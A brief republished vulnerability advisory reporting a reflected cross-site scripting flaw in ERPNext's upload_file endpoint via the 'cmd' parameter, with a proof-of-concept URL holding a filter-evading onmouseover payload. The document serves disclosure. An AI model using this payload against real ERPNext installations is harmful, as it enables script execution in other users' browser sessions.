erpnext 'cmd' Reflected Cross site scripting (XSS)
2024-1-30 06:8:54 Author: cxsecurity.com(查看原文) 阅读量:13 收藏

erpnext 'cmd' Reflected Cross site scripting (XSS)

2024.01.29

iq 10 (IQ) iq

Risk:

Low

Local:

No

Remote:

Yes

CVE:

N/A

CWE:

N/A

Vunlerable page: /api/method/upload_file POC: ---- http://localhost/api/method/upload_file?cmd=%3ChTML%09ONmOuSEOVer%0a=%0aa=prompt,a()%0dx// then any one open url the xss its executed


Vote for this issue:

50%

50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.



(*) - required fields.  
{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2024010097
如有侵权请联系:admin#unsafe.sh